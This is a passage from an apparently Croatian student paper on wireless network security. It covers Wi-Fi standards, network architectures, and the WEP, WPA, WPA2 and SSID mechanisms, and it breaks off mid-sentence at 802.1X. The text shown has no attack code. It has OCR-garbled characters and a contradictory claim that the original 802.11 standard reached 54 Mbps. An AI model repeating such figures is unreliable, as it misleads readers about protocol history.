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Analiza sigurnosti i simulacija napada na beZi¢ne mreze

Sazetak:

U ovom radu analizirana je sigurnost bezicnih mreza i kljune metode zastite od potencijalnih
prijetnji. Fokus je bio na razumijevanju glavnih sigurnosnih protokola kao sto su WPA, WPA2,
SSID, 802.1x, CCMP i TKIP, te njihovih prednosti i nedostataka. Poseban naglasak stavljen je
na moguce napade poput presretanja podataka, neovlastenog pristupa i DoS napada. Takoder,
istrazene su najbolje prakse za osiguranje bezi¢nih mreza u privatnim i poslovnim okruzenjima.
Na kraju je odraden i prakti¢ni dio simuliranja napada kako bi se demonstrirale stvarne prijetnje

1 u¢inkovitost obrambenih mjera.

Kljuéne rije¢i: sigurnost, WPA,SSID, 802.1x ,napadi

Security Analysis and Simulation of Attacks on Wireless Network

Summary:

This paper analyzed the security of wireless networks and key protection methods against
potential threats. The focus was on understanding major security protocols such as WPA,
WPA2, SSID, 802.1x, CCMP, and TKIP, along with their advantages and disadvantages.
Special emphasis was placed on possible attacks such as data interception, unauthorized access,
and DoS attacks. Best practices for securing wireless networks in both private and business
environments were also explored. Finally, a practical simulation of attacks was conducted to
demonstrate real-world threats and the effectiveness of defensive measures.

Keywords: security, WPA, SSID, 802.1x, attacks



1. UvVOD

Razvoj tehnologije bezi¢nih komunikacija znacajno je promijenio nacin na koji pristupamo
informacijama i komuniciramo. Bezi¢ne mreze, poznate kao WLAN (eng. Wireless Local Area
Network), postale su neizostavni dio suvremenog zivota, omogucujuci korisnicima povezivanje
na mrezu bez potrebe za fizickom vezom. Ova prakti¢nost omogucava korisnicima slobodno
kretanje i neometan pristup internetu s gotovo bilo koje lokacije unutar dosega mreze. Medutim,
s povecanjem koriStenja bezi¢nih mreza, povecala se 1 izloZenost sigurnosnim prijetnjama, $to
¢ini pitanje sigurnosti kljuénim aspektom njihove implementacije i uporabe. Potreba za
sigurno$¢u bezi¢nih mreza proizlazi iz inherentnih karakteristika ove tehnologije. Za razliku od
zi¢anih mreza, koje koriste fizicke veze za prijenos podataka, bezi¢ne mreze koriste radio
valove koji se Sire kroz zrak, $to ih ¢ini dostupnima ne samo legitimnim korisnicima nego i
potencijalnim napadacima. Ova otvorenost prijenosa podataka povecava rizik od presretanja
komunikacija, neovlaStenog pristupa i razli¢itih oblika napada, ukljucujuéi prisluskivanje
(‘eavesdropping’), krivotvorenje podataka i Denial-of-Service (DoS) napade. U ranim fazama
razvoja bezi¢nih mreza, sigurnosni mehanizmi bili su ograniceni i ¢esto nedovoljno ucinkoviti.
Primarni sigurnosni protokol, WEP (eng. Wired Equivalent Privacy), pokazao se ranjivim na
brojne napade, $to je dovelo do razvoja naprednijih protokola kao §to su WPA (eng. Wi-Fi
Protected Access) 1 WPA2. Ovi protokoli donijeli su znacajna poboljSanja u pogledu enkripcije
1 autentifikacije, ali sigurnost bezi¢nih mreza 1 dalje ostaje dinami¢no podrucje koje zahtijeva
kontinuirano unaprjedenje zbog evolucije prijetnji i napadackih metoda. Osim tehnickih
izazova, sigurnost bezi¢nih mreza ukljucuje 1 niz organizacijskih i1 proceduralnih mjera.
Implementacija sigurnosnih protokola zahtijeva pravilnu konfiguraciju mrezne opreme,
redovito aZuriranje softvera i edukaciju korisnika o sigurnosnim prijetnjama i najboljim
praksama. Upravo kombinacija tehnickih i organizacijskih mjera moze osigurati cjelovitu
zaStitu bezic¢nih mreza. Cilj ovog rada je detaljno analizirati sigurnosne aspekte bezi¢nih mreZza,
pregledati postojece sigurnosne protokole 1 tehnologije, te identificirati najbolje prakse za
zaStitu mreza od suvremenih prijetnji. Posebna paZnja bit ¢e posvecena novim tehnologijama i
standardima koji obe¢avaju povecanje sigurnosti bezicnih komunikacija u buducnosti. Kroz
ovu analizu, rad ¢e pruZiti sveobuhvatan pregled trenutnog stanja sigurnosti bezi¢nih mreza 1

smjernice za njihovu daljnju zastitu [1].



2. BEZICNE MREZE

Skup racunala, povezanih prijenosnim medijem, ¢ini rac¢unalnu mrezu, koja moze obuhvatiti
blize ili udaljenije lokacije. Danas su racunala i racunalne mreze najucinkovitiji nacin prijenosa
velikih koli¢ina informacija u kratkom vremenu i na velike udaljenosti. Razvojem informaticke
opreme, posebice radnih stanica i osobnih racunala, otvara se mogucnost stvaranja raznovrsnih
informatickih mreza. Informaticke mreze omogucuju pristup najve¢im nacionalnim

instalacijama s mnogih medusobno udaljenih lokacija.

Koriste¢i radiofrekvencije, bezi¢na mreza omogucuje komunikaciju izmedu racunala i drugih
mreznih uredaja. Cesto nazivane Wi-Fi mrezama ili WLAN-om (Wireless Local Area
Network), ove mreze postaju sve popularnije zbog jednostavne instalacije bez potrebe za
kablovima. Racunala se mogu povezati bilo gdje u domu bez koriStenja LAN kabela. BezZi¢ne
mreze nude veliku fleksibilnost, omogucujuci brzo postavljanje. Koriste¢i niz baznih stanica,
spajaju korisnike na postoje¢u mrezu. Infrastruktura bezicne mreze je visokokvalitetna, bez
obzira na broj korisnika. Prvi uredaji temeljeni na danas Siroko koristenom IEEE 802.11b
standardu pojavili su se sredinom 1999. godine. S rastom broja proizvodaca i interesa kupaca,
bilo je potrebno standardizirati koncept. U tu svrhu osnovana je 'Wireless Ethernet
Compatibility Alliance', koja se bavi standardizacijom opreme za bezi¢ne mreze. Zahvaljujuci
ovoj udruzi, razli¢iti standardi dobili su zajednicko ime. Danas mnoge mreze koriste metodu
"spread spectrum”, koja upravlja frekvencijom signala tako da paketi podataka putuju na
razli¢itim frekvencijama izmedu odasilja¢a i prijemnika. Postoje dvije vrste "spread spectrum"
sustava: 'frequency hopping' i ‘direct sequence’. U 'frequency hopping spread spectrum’ sustavu
(FHSS) uredaji prelaze izmedu razliCitih frekvencija, osiguravaju¢i sigurniju i pouzdaniju
komunikaciju. 'Direct sequence' sustavi osiguravaju pouzdanost emitiranjem u razli¢itim,

nasumicno generiranim intervalima na jednoj frekvenciji.

Tehnologije koje zajednicki nazivamo WLAN tehnologije definirane su skupom IEEE 802.11
standarda. Preciznije, WLAN tehnologije oznacene su kao 802.11b, 802.11a i 802.11g. U
usporedbi s Ethernetom, brzine ovih mreZa nisu velike. Naime, teoretska brzina najpopularnije
bezi¢ne tehnologije — 802.11b —od 11 Mbps gotovo je deset puta manja od najpopularnijeg 100
Mbps Etherneta [2].



2.1 Primjene bezi¢nih mreZa u poslovnom i privatnom okruZenju

Bezi¢ne mreze danas igraju klju¢nu ulogu kako u poslovnom tako i u privatnom okruzenju,
omogucujuéi brzu, fleksibilnu i efikasnu povezanost medu korisnicima i uredajima. U
poslovnom svijetu, bezicne mreze omogucéuju radnicima da budu mobilni i produktivni bez
obzira na njihovu fizicku lokaciju, §to je naroc€ito korisno u okruzenjima poput ureda otvorenog
tipa, skladista, bolnica i obrazovnih ustanova. Mnoge organizacije danas koriste bezicne mreze
za pristup 'cloud' uslugama, daljinsko upravljanje resursima, kao i za podrsku Internetu stvari
(IoT), sto dodatno unapreduje operativnu efikasnost. Primjerice, bezi¢ne mreze omogucéuju
zaposlenicima u velikim kompanijama brzi pristup informacijama i aplikacijama u realnom

vremenu, olakSavajuc¢i komunikaciju i saradnju medu timovima bez fizickih ogranicenja.

U privatnom okruzenju, bezi¢ne mreze su osnova za kucéne internet mreze, povezivanje
mobilnih uredaja, laptopa, pametnih televizora, igracih konzola i brojnih drugih uredaja. S
obzirom na rastuéu popularnost pametnih domova, bezicne mreze igraju vaznu ulogu U
povezivanju uredaja poput pametnih termostata, sigurnosnih kamera, svjetala i glasovnih
asistenata. Ovo omogucuje korisnicima kontrolu nad svojim domovima putem aplikacija, ak i

kada su daleko.

Osim toga, bezi¢ne mreze omogucuju jednostavan pristup internetu u javnim prostorima poput
kafica, aerodroma, hotela i trgovackih centara, pruZaju¢i korisnicima slobodu da rade ili se
zabavljaju dok su u pokretu. Ovo je posebno korisno za putnike i digitalne nomade, koji se

oslanjaju na stabilne beZi¢ne mreze kako bi ostali povezani.

lako bezi¢ne mreZe pruZaju mnoge prednosti u smislu fleksibilnosti i produktivnosti, njihova
upotreba takoder nosi i odredene sigurnosne izazove, posebno kada se koriste u okruZenjima s
velikim brojem korisnika ili kada se povezuje veliki broj uredaja. Stoga je vazno osigurati
visoku razinu sigurnosti kako bi se sprijecili neovlaSteni pristupi 1 zastitili podaci u privatnom

i poslovnom okruzenju [2].



2.2 Prilagodljivost i u¢inkovitost bezi¢nih mreza

Bezi¢ne mreze pruzaju brojne prednosti u odnosu na klasi¢ne zicne mreze. Prva prednost koja
se moze navesti je bolja pokretljivost korisnika jer nisu ograni¢eni na kabel .Korisnici se mogu
slobodno kretati ili biti bilo gdje unutar prostora pokrivenog radio signalom emitiranim od
strane pristupne toCke. Druga prednost je jednostavnija instalacija bezi¢ne mreze, jer je
potrebna samo jedna pristupna tocka koja moze povezati viSe racunala bez potrebe za dodatnim
prikljuc¢cima i kablovima. Ostale prednosti ukljucuju poveéanu produktivnost, jednostavnu

prosirivost mreze i nize troSkove.

No, unato¢ ovim prednostima, bezicne mreze imaju i odredene tehniCke nedostatke. Glavni
nedostatak je sigurnost, jer antene odaSilju signal unutar odredenog radijusa, Sto moze
omoguciti neautoriziranim korisnicima da registriraju signal i pokuSaju neovlasteno pristupiti
mrezi. Domet bezi¢nih mreza takoder moze biti ogranicen, Sto zahtijeva postavljanje vise
pristupnih tocaka za pokrivanje vec¢ih podrucja. Pouzdanost bezi¢nog sustava moZe biti
naru$ena smetnjama, interferencijama i drugim poremecajima uzrokovanim prijenosom signala
putem radio valova. Brzina prijenosa podataka je joS jedan znacajan nedostatak, ali se stalno

razvijaju nove tehnologije i sustavi koji omoguéuju vecu brzinu prijenosa.

Osim tehnickih aspekata, treba uzeti u obzir 1 prakti¢ne koristi bezi¢nih mreza. Na primjer, u
poslovnom okruzenju, beZi¢ne mreZze omogucuju fleksibilnije radne prostore i olakSavaju
timski rad jer se zaposlenici mogu slobodno kretati 1 povezivati s mreZom s bilo koje lokacije
unutar ureda. U kuénom okruZenju, beZicne mreZze omogucuju jednostavnije spajanje raznih
uredaja poput pametnih telefona, tableta, pametnih televizora i drugih “loT” uredaja, Cime se

stvara integriran i povezan dom.

Sveukupno, dok WLAN mreZe imaju svoje izazove, njihove prednosti u smislu fleksibilnosti,
mobilnosti 1 jednostavnosti postavljanja ¢ine ih neizostavnim dijelom modernog umrezenog

svijeta [3].
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Slika 2.1. Nacin rada bezicne mreZe [23]

2.3 Standardi beZi¢nih mreza

Standard IEEE 802.11 definira beZicne mreze, a donio ga je IEEE. Ovaj standard pokriva
najniza dva sloja OSI modela: fizicki sloj 1 podatkovni sloj veze. Prva verzija standarda IEEE
802.11 formirana je sredinom 1997. godine, pri ¢emu je radna frekvencija za bezi¢ne Ethernet
sustave odredena na 2,4 GHz, uz dvije brzine prijenosa podataka — 1 Mb/s i 2 Mb/s. Standard
je takoder ponudio dvije tehnologije prijenosa radio-signala: FHSS (Frequency Hopping Spread
Spectrum) i DSSS (Direct Sequence Spread Spectrum). FHSS oznafava skakanje po

5



frekvencijama, dok DSSS oznacava niz skokova, a SS na kraju ovih skracenica predstavlja

razmazani spektar, tehnologiju prijenosa signala ispod razine Suma.

Razvoj bezi¢nih mreza kroz standard IEEE 802.11 znacajno je doprinio povecanju njihove
upotrebe 1 funkcionalnosti. Kroz godine, poboljSanja i nove verzije ovog standarda omogucile
su vece brzine prijenosa podataka, bolju sigurnost i Siru primjenu u razli¢itim okruzenjima. Na
primjer, kasnije verzije kao $to su 802.11n, 802.11ac i 802.11ax (Wi-Fi 6) donijele su znatna

poboljsanja u pogledu brzine, kapaciteta i efikasnosti mreza.

Nisu svi stariji Wi-Fi standardi potpuno zastarjeli. Evo kratke povijesti Wi-Fi standarda i

informacija o tome jesu li standardi jo$ uvijek aktivni.

IEEE 802.11: Originalni standard stvoren 1997. godine, podrzavao je maksimalnu brzinu veze
od 54 Mbps. Uredaji koji koriste ovaj standard nisu proizvedeni ve¢ vise od desetljeca i nisu

kompatibilni s danaSnjom opremom.

IEEE 802.11a: Stvoren 1999. godine, ovaj standard radi na 5 GHz frekvencijskom pojasu s
ciljem smanjenja interferencije jer mnogi uredaji koriste 2.4 GHz pojas. 802.11a postize
maksimalnu brzinu prijenosa podataka od 54 Mbps, ali 5 GHz frekvencija ima problema s

preprekama u putu signala, pa je domet cesto 10S.

IEEE 802.11b: Takoder stvoren 1999. godine, ovaj standard koristi 2.4 GHz pojas i mozZe
posti¢i maksimalnu brzinu od 11 Mbps. 802.11b je standard koji je potaknuo popularnost Wi-
Fi-ja.

IEEE 802.11g: Dizajniran 2003. godine, ovaj standard povecao je maksimalnu brzinu prijenosa

podataka na 54 Mbps, zadrZavajuéi pouzdani 2.4 GHz pojas, $to je rezultiralo Sirokim

usvajanjem.

IEEE 802.11n: Predstavljen 2009. godine, ovaj standard radi na 2.4 GHz i 5 GHz, podrzava
viSekanalnu upotrebu i nudi maksimalnu brzinu prijenosa podataka od 150 Mbps po kanalu, Sto

ukupno moze dosegnuti 600 Mbps.

IEEE 802.11ac: Izdan 2014. godine, ovaj standard zna¢ajno povecava propusnost podataka za
Wi-Fi uredaje do maksimalnih 1.300 Mbps. Takoder dodaje podrsku za MU-MIMO, dodatne

Wi-Fi kanale za 5 GHz pojas i vise antena na jednom usmjerivacu.

IEEE 802.11ax: Ovaj standard, takoder poznat kao Wi-Fi 6, pruza teoretsku propusnost mreze
do 10 Gbps, sto je 30-40 posto poboljsanje u odnosu na prethodni standard. Povecava kapacitet



mreze dodavanjem pod-kanala za emitiranje, nadogradnjom MU-MIMO i omogucavanjem vise

istovremenih tokova podataka.

IEEE 802.11be: Specifikacije za ovaj standard jo$ nisu konacne, ali je vrlo vjerojatno da ¢e
naslijediti 802.11ax. Prema IEEE 'Xplore' dokumentaciji, 802.11be ¢e omoguciti udvostru¢enu

propusnost i povecan broj prostornih tokova, Sto ¢e omoguciti brzine prijenosa podataka do 40

Gbps.
Wi-Fi 8: U razvoju je novi standard Wi-Fi 8, ¢ije je sluzbeno ime trenutno IEEE 802.11bn.

Dok su stariji standardi, poput IEEE 802.11 i 802.11a, uglavnom zastarjeli i ne koriste se u
dana$njim uredajima, noviji standardi poput 802.11ac i 802.11ax donose znacajna poboljSanja
u brzini, kapacitetu i pouzdanosti mreza. S obzirom na brzi tehnoloski napredak, o¢ekujemo da
¢e novi standardi nastaviti unapredivati performanse bezicnih mreza, omogucujuéi brzu i

pouzdaniju povezanost u razli¢itim okruzenjima [3].

2.4 Arhitektura bezi¢nih mreZa

Dva glavna nacina ostvarivanja bezi¢nih mreza, izmedu kojih korisnik bira u skladu sa svojim

potrebama i moguénostima, su infrastrukturni i ad-hoc rezim rada.

2.4.1 Infrastrukturni nacin rada

Kada govorimo o radunalnim mrezama, infrastrukturni nacin rada se ostvaruje spajanjem
uredaja putem pristupne tocke, poput usmjerivaca, bilo zicnim ili beZi€nim putem. Ova
karakteristika razlikuje infrastrukturni nac¢in rada od ad-hoc nacina. Za postavljanje
infrastrukturne mreze potrebna je najmanje jedna bezi¢na pristupna tocka (AP) te je neophodno
da pristupna tocka 1 svi klijenti budu konfigurirani za koriStenje istog imena mreze (SSID).
Pristupna tocka je povezana na zicnu mreZu kako bi beZi¢ni klijenti mogli pristupiti mreZnim
resursima. Dodatne pristupne tocke mogu se povezati na mrezu radi povecanja dometa signala

i podrske za vise bezi¢nih klijenata [4].



Slika 2.2. Infrastrukturni nacin rada [24]

2.4.2 Ad-Hoc naéin rada

Ad-hoc mreze, takoder poznate kao P2P (engl. peer-to-peer) mreze, omoguéuju uredajima
direktnu komunikaciju bez potrebe za centralnim uredajem. Ove mreze se obi¢no sastoje od
male skupine uredaja koji su u neposrednoj blizini. Bezi¢na ad-hoc mreza povezuje vise uredaja
bez koriStenja centralnog ¢vora, omogucujuci svakom uredaju da prosljeduje podatke drugim

uredajima u mrezi.

Zbog minimalne konfiguracije i brzog postavljanja, ad-hoc mreze su idealne za situacije koje
zahtijevaju privremenu 1 jeftinu bezicnu lokalnu mrezu (WLAN). Takoder, ad-hoc mreZe su
korisne kao privremena zamjena u slucaju kvara opreme infrastrukturne mreze. Njihova
fleksibilnost ¢ini ih pogodnima za hitne situacije i privremena okupljanja, poput konferencija
ili terenskih istrazivanja. Nadalje, ad-hoc mreze omogucuju brz i jednostavan nacin povezivanja

uredaja u okruzenjima gdje nije moguce postaviti stalnu mreznu infrastrukturu [4].
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Slika 2.3. Ad-hoc nacin rada [25]

2.4.3 Usporedba infrastrukturnog i ad-hoc na¢ina rada

U usporedbi s ad-hoc bezi¢nim mrezama, infrastrukturni nacin rada omogucuje centralizirano
upravljanje mrezom i ve¢i domet. Bezi¢ni uredaji mogu se povezati s resursima na zi¢anoj
lokalnoj mreZi, $to je Cesto u poslovnim okruzenjima. Dodavanjem vise pristupnih to¢aka moze
se smanjiti prometna zagusenost i proSiriti domet mreze. Medutim, implementacija bezicne

infrastrukturne mreze je skuplja.

Ad-hoc mreze koriste P2P metodu povezivanja, §to znaci da su potrebni samo krajnji uredaji, a
pristupna toc¢ka nije potrebna za medusobno povezivanje uredaja. Ukratko, infrastrukturni nacin
rada omogucuje stabilnu topologiju. Javne ustanove i poslovni prostori rijetko koriste P2P
mreZe jer su previSe decentralizirane i stoga neprikladne za njihove potrebe. Ad-hoc mreze
koriste se za kratkotrajne svrhe kada je potrebno prenijeti podatke izmedu uredaja koji su

previSe udaljeni za povezivanje putem infrastrukturne mreze.

Ad-hoc mreza je korisna za komunikaciju izmedu nekoliko uredaja, ali nije prikladna za sve
prometne zahtjeve, pa je tada potrebna infrastrukturna mreza. Mnogi bezi¢ni uredaji mogu raditi

samo u infrastrukturnom nacinu rada, $to znaci da moraju biti povezani putem pristupne tocke

[4].



3. SIGURNOST BEZICNIH MREZA

Bezi¢na mreza zahtijeva posebnu paznju kada je rije¢ o sigurnosti. Mnogi korisnici nisu svjesni
razine sigurnosti ili nesigurnosti svojih mreza. Nedovoljna zastita i nepaznja mogu izloziti vase
podatke ozbiljnoj opasnosti. Najveci problem u vezi sa sigurnoScu danas je nedostatak
informiranosti. Mnogi korisnici vjeruju da su zaSti¢eni samo zato §to posjeduju potrebne

uredaje i osnovne postavke. Medutim, sigurnost zahtijeva viSe od postavljanja jedne lozinke.

Zastita bezi¢nih mreza je slozenija u usporedbi s ZiCanim mrezama i ne moze se posti¢i istim
metodama. Svaki uredaj koji ima nezasticen ili slabo zasti¢en pristup internetu izlozen je riziku.
Virusi i nezeljene poruke su postali uobicajeni problemi, no postoje i ozbiljnije prijetnje poput

racunalnih prijevara, napada uskrac¢ivanjem pristupa i drugih oblika cyber napada.

Svaki put kada koristimo racunalo 1 pristupamo internetu, izlazemo se odredenim rizicima kao
$to su krada identiteta, virusi, spam i spyware. Cak i naizgled bezopasne web stranice, poput
onih za e-trgovinu ili online zabavu, mogu instalirati softver koji generira oglase (§to usporava
rad racunala) ili prati nase aktivnosti na internetu. Mnogi korisnici, medutim, koriste internet
bez ikakvih sigurnosnih mjera: nemaju vatrozid, antivirusni softver, niti su svjesni da prevaranti

1 hakeri stalno pretrazuju internet u potrazi za novim Zrtvama.

Wi-Fi mreze pruzaju veliku prakti¢nost, ali narusavaju privatnost i sigurnost. Bezi¢ne kartice
ili ¢ipovi u nasim racunalima i pristupne tocke zapravo su radio prijemnici, iako mali, koji
koriste razli¢ite frekvencije od tradicionalnin AM/FM radija. Napadac¢i mogu uhvatiti bilo koji
uredaj unutar dometa zbog signala koji $alju nasi uredaji ,oni to znaju i koriste softverske
programe zvane prisluskivaci koji im omogucuju pracenje neSifrirane bezi¢ne komunikacije.
Ovi prisluskivaci su bezi¢ni ekvivalenti uredajima za prisluskivanje telefonskih razgovora, s
tom razlikom $to mogu presresti e-postu, te sve lozinke ili brojeve ra¢una koji se prenose

beZi¢nim putem.

Projektiranje bezicne mreZe na odredenom podrucju zahtijeva temeljit pregled prostora kako bi
se odabrala optimalna vrsta antena 1 odgovaraju¢a snaga, uzimaju¢i u obzir sva moguca
ograni¢enja. Frekvencije koje koriste mreze prema standardima 802.11b 1 802.11g, na 2,4 GHz,
nelicencirane su, Sto moze uzrokovati smetnje od drugih uredaja koji koriste istu frekvenciju,

Sto moze rezultirati prekidima u usluzi.
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3.1 Sigurnosni standardi

0d 1990. godine, kada su bezicne mreze postale popularne, javila su se brojna pitanja i sumnje
u vezi s njihovom sigurnosc¢u. Zbog tih problema i rizika, mnogi su smatrali da bezicne mreze
uopce ne bi trebale biti koriStene. Medutim, zbog njihove jednostavnosti i prakti¢nosti, jasno je
da bezi¢ne mreze moraju ostati, $to znaci da ih moramo zastititi kako bismo osigurali sigurnost.
Postoje tri glavna mehanizma, odnosno standarda, za zastitu WLAN prometa,a opisat ¢emo i
jos neke koji se koriste: WEP (Wired Equivalent Privacy), WPA (Wi-Fi Protected Access) i

WPAZ2 (azurirana verzija WPA koja koristi ja¢i algoritam za zastitu i tesko je probiti).

3.1.1 WEP
Protokol koji je definiran u standardu 802.11 nastoji ispuniti osnovne funkcije :
e Povjerljivost: Primarna svrha WEP-a je sprijeciti prisluskivanje mreznog prometa.
e Kontrola pristupa: WEP takoder sluzi za kontrolu pristupa jer pristupne tocke mogu
zabraniti promet klijentima koji ne produ uspjesno proces autentifikacije.

e Integritet: Dodatno polje u svakom okviru koristi se za provjeru integriteta okvira.

U sva tri slucaja snaga WEP-a temelji se na poteSko¢i otkrivanja tajnog klju¢a pomoc¢u napada
¢istom silom (‘brute force attack’), ali postoje brzi i u¢inkovitiji nac¢ini napada na WEP, o ¢emu

¢emo kasnije govoriti [5].

WEP se primjenjuje na podatkovnom sloju OSI modela kako bi zastitio podatke tijekom
prijenosa. Oslanja se na tajnost kljuc¢a koji se koristi izmedu pristupne tocke 1 klijenta te pomocu

njega enkriptira tijela okvira poruke. Proces enkripcije se odvija u sljede¢im koracima:

1.Zastitno kodiranje (checksumming)

Kako bi se oCuvao integritet poruke, nad njom se primjenjuje zastitno kodiranje koristeci
CRC32 polinom. Ova zastita se dodaje na kraj podataka koje Zelimo zastititi. Rezultat je Cisti
tekst P koji se moze izraziti kao P={M, c¢(M)}, gdje je M izvorni podatak. VazZno je napomenuti
da ¢(M), a samim tim i P, ne ovise o dijeljenom klju¢u k. Cisti tekst P tada sluZi kao ulaz za

sljede¢i korak.

2. Enkripcija

U drugom koraku, ¢isti tekst iz prethodnog koraka enkriptira se pomocu algoritma RC4.
Odabiremo inicijalizacijski vektor (IV) na neki nacin (npr. slucajnim odabirom), koji zajedno s
klju¢em k sluzi kao ulaz u RC4 algoritam. Kreira se niz bitova koji generira algoritam koristeci

funkciju kljuca k i inicijalizacijskog vektora. Ovaj niz bitova oznacava se kao RC(IV, k). Nakon
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toga, nad bitovima cistog teksta i dobivenim nizom pseudo-slu¢ajnih bitova primjenjuje se

operacija ekskluzivno-ili (XOR) kako bi se dobio Sifrirani tekst [6].

C =P RC (IV,k)

JednadZzba 3.1. WEP enkripcija

Zavrsni korak je odasiljanje paketa koji se sastoji od IV vektora i Sifriranog teksta preko bezi¢ne

mreze.

Proces enkripcije prikazan je na sljedecoj slici:

v Dijeljeni klju¢

RC4

Cisti tekst > v

\Y; Sifrirani tekst

g

CRC-32

I »
P

Provijera integriteta

ICV

Slika 3.1. Proces enkripcije teksta

3.1.2 WPA

WPA je predstavila organizacija "Wi-Fi Alliance', koja okuplja proizvodace mrezne opreme, u
suradnji s IEEE. WPA je razvijen kao odgovor na probleme uocenima kod WEP-g, s ciljem
uklanjanja nedostataka uz zadrzavanje kompatibilnosti s postojeCcom mreznom opremom. WPA
koristi TKIP (Temporal Key Integrity Protocol) za enkripciju i 802.1X standard s nekim od
uobicajenih EAP protokola za autentifikaciju. Novost je i uvodenje MIC-a (Message Integrity
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Check, poznatog 1 kao "Michael") kako bi se sprijecilo krivotvorenje paketa. TKIP ¢e biti
detaljnije opisan u sljede¢em poglavlju. Enkripcija se, zbog kompatibilnosti, provodi pomoc¢u

RC4 algoritma.

Prednost WPA je moguénost jednostavne integracije u postojecu mreznu opremu bez vecih
troSkova. Dovoljno je instalirati nove upravljacke programe u pristupnim tockama i klijentskim
mreznim karticama kako bi se preslo na novi standard. Prilikom kupovine nove opreme vazno
je osigurati da podrzava WPA. Za velike korporativne mreze potrebno je dopuniti sustav s
RADIUS posluziteljem kako bi se autentifikacija mogla provoditi pomocu 802.1X standarda.
Takoder, potrebno je odabrati tip EAP-a koji ¢e se koristiti. Kako velike mreze imaju mnogo
klijenata, neki proizvodaci omoguéuju rad u tzv. mijeSanom nacinu, gdje se koriste i WEP (za
klijente koji nisu instalirali nove upravljacke programe) i WPA. No, preporucuje se da
prijelazna faza bude Sto kraca kako bi se postigla najbolja sigurnost. Za male kuéne i uredske
mreze predvideno je da se autentifikacija provodi putem dijeljenih kljuceva, kako bi se izbjegla

potreba za RADIUS posluziteljem.

Moze se zakljuciti da je WPA korak naprijed prema boljem i potpunijem standardu koji
osigurava bezi¢ne mreze. Donosi mnoga poboljSanja uz prihvatljive troSkove. Mnogo je

isplativiji od danasnjih IPsec rjesenja i bolji jer djeluje na drugom sloju OSI modela.[7]

3.1.3 WPA2

WPAZ2 je sustav za zaStitu bezi¢nih lokalnih mreza (WLAN —eng. Wireless LAN), razvijen kao
odgovor na ranjivosti i nedostatke prethodnih WLAN sigurnosnih protokola, WEP i WPA.
WPAZ2 osigurava korisnicku autentifikaciju 1 enkripciju podataka. Autentifikacija se moze
provoditi u poslovnom nacinu — izmedu svakog uredaja u mreZi 1 pristupne tocke pojedinac¢no,
ili u privatnom nac¢inu — kori$tenjem zajednic¢kog kljuca za sve uredaje (eng. 'Pre-shared Key").
Enkripcija u WPA2 sustavu koristi CCMP (eng. 'Counter Mode with Cipher Block Chaining
Message Authentication Code Protocol’) protokol, koji se temelji na AES simetri¢nom
kriptografskom algoritmu. Ovaj dokument pruza pregled osnovnih karakteristika WPA?2 zastite,
ukljucujuéi koriStene algoritme i sigurnosne protokole koji su prethodili WPA2. Osim toga,
opisane su arhitektura i specificnosti bezi¢nih lokalnih mreza kako bi se bolje razumjela potreba

i znacaj koristenja WPA2 zastite [8].

13



Podnositelj eps Autentifikacijski
zahtjeva Autentifikator posluZitelj
[ (AP (2]
1 MK ‘ --------------------------------------------------------------- ) ---------: ---------- MK
izvodi PMK
izvodi PMK kljué
kljué 3
4 h 4
2 PMK PMK [« prijenos kljuca PMK
4 PTK <pMKruk0van]e ........ P PTK
u 4 poruke
5 GTK [ eeeereeessenssenianiannns R GTK
GTK rukovanje
u 4 poruke

Slika 3.2. WPA2 autentifikacija [26]

Djelovanje WPA2 protokola moze se opisati kroz dva na¢ina a to su WPA2-Enterprise i WPA-

2 Personal. Upotreba ovisi o zahtjevima mreze.

WPA2-Personal i WPAZ2-Enterprise su dvije varijante sigurnosnog protokola WPA2
dizajnirane za razli¢ite potrebe mreza. WPA2-Personal, poznat i kao WPA2-PSK (Pre-Shared
Key), koristi zajednicki klju¢ za autentifikaciju svih uredaja na mrezi, $to ga ¢ini idealnim za
kuéne mreZe i manje urede zbog jednostavnosti postavljanja i nepostojanja potrebe za dodatnom
infrastrukturom. S druge strane, WPA2-Enterprise je namijenjen ve¢im organizacijama i koristi
RADIUS server za autentifikaciju, omogucujuci individualne vjerodajnice za svakog korisnika
i bolju kontrolu pristupa. WPA2-Enterprise pruza napredniju sigurnost kroz protokole poput
EAP (Extensible Authentication Protocol), §to smanjuje rizik od neovlaStenog pristupa i
poboljsava upravljanje mrezom. Obje varijante koriste AES enkripciju putem CCMP protokola,
ali WPA2-Enterprise nudi vecu skalabilnost i fleksibilnost u upravljanju korisnicima. Glavna
razlika izmedu njih je u nacinu autentifikacije: WPA2-Personal koristi staticki klju¢, dok

WPAZ2-Enterprise koristi dinamicke kljuceve i centraliziranu autentifikaciju [8].
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Slika 3.3. Prikaz rada WPA2Personal i WPA2Enterprise [27]

3.1.4 SSID

Identifikator seta usluga (SSID) je niz znakova koji jedinstveno imenuje Wi-Fi mrezu. Ponekad
se SSID naziva i nazivom mreze. Ovaj naziv omogucuje uredajima da se povezu s Zeljenom

mrezom kada vise nezavisnih mreza radi u istom fizickom podrucju.

SSID-ovi se koriste u kuénim i poslovnim Wi-Fi mrezama, a naj¢es¢e ih se vidi prilikom
povezivanja mobilnih uredaja poput prijenosnih racunala ili pametnih telefona na beZi¢nu

mrezu.

SSID moze imati do 32 znaka. BeZi¢ni usmjerivaci i pristupne to¢ke emitiraju SSID-ove kako
bi ih korisnici mogli pronaci i povezati se na bezicnu mreZzu. Proizvodaci usmjerivaca cesto
kreiraju zadane SSID-ove koriste¢i ime proizvodaca uz dodatak nasumi¢nih brojeva i slova.
Kako bi se smanjila zbrka u podrucju s vise bezi¢nih mreza, uobicajeno je mijenjati zadani

SSID u neki drugi niz znakova.

Neke mreze mogu zahtijevati lozinku prije povezivanja, dok druge bezi¢ne mreze mogu prvo

traziti od korisnika da procitaju i prihvate uvjete koristenja na internetu prije nego se povezu.
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Skup bezicnih uredaja koji medusobno komuniciraju izravno naziva se osnovni skup usluga
(BSS). Vise BSS-ova moze se spojiti kako bi formirali jedan logicki segment bezi¢ne lokalne
mreze (WLAN), poznat kao prosireni skup usluga (ESS). SSID je naziv od 1 do 32 bajta koji
se dodjeljuje svakom ESS-u. Svaka pristupna toc¢ka oglasava svoju prisutnost nekoliko puta u

sekundi emitiranjem signala koji nose naziv ESS-a.

Standardi arhitekture WLAN-a Instituta inzenjera elektrotehnike i elektronike (IEEE) 802.11
propisuju da SSID treba biti priloZzen zaglavljima paketa kada se Salju putem WLAN-a. Ovo

osigurava da su podaci poslani i primljeni u pravoj mreZi.[9]

3.1.5 802.1x standard

Standard 802.1X pruza arhitekturu koja omogucuje korisnicima razne metode autentifikacije,
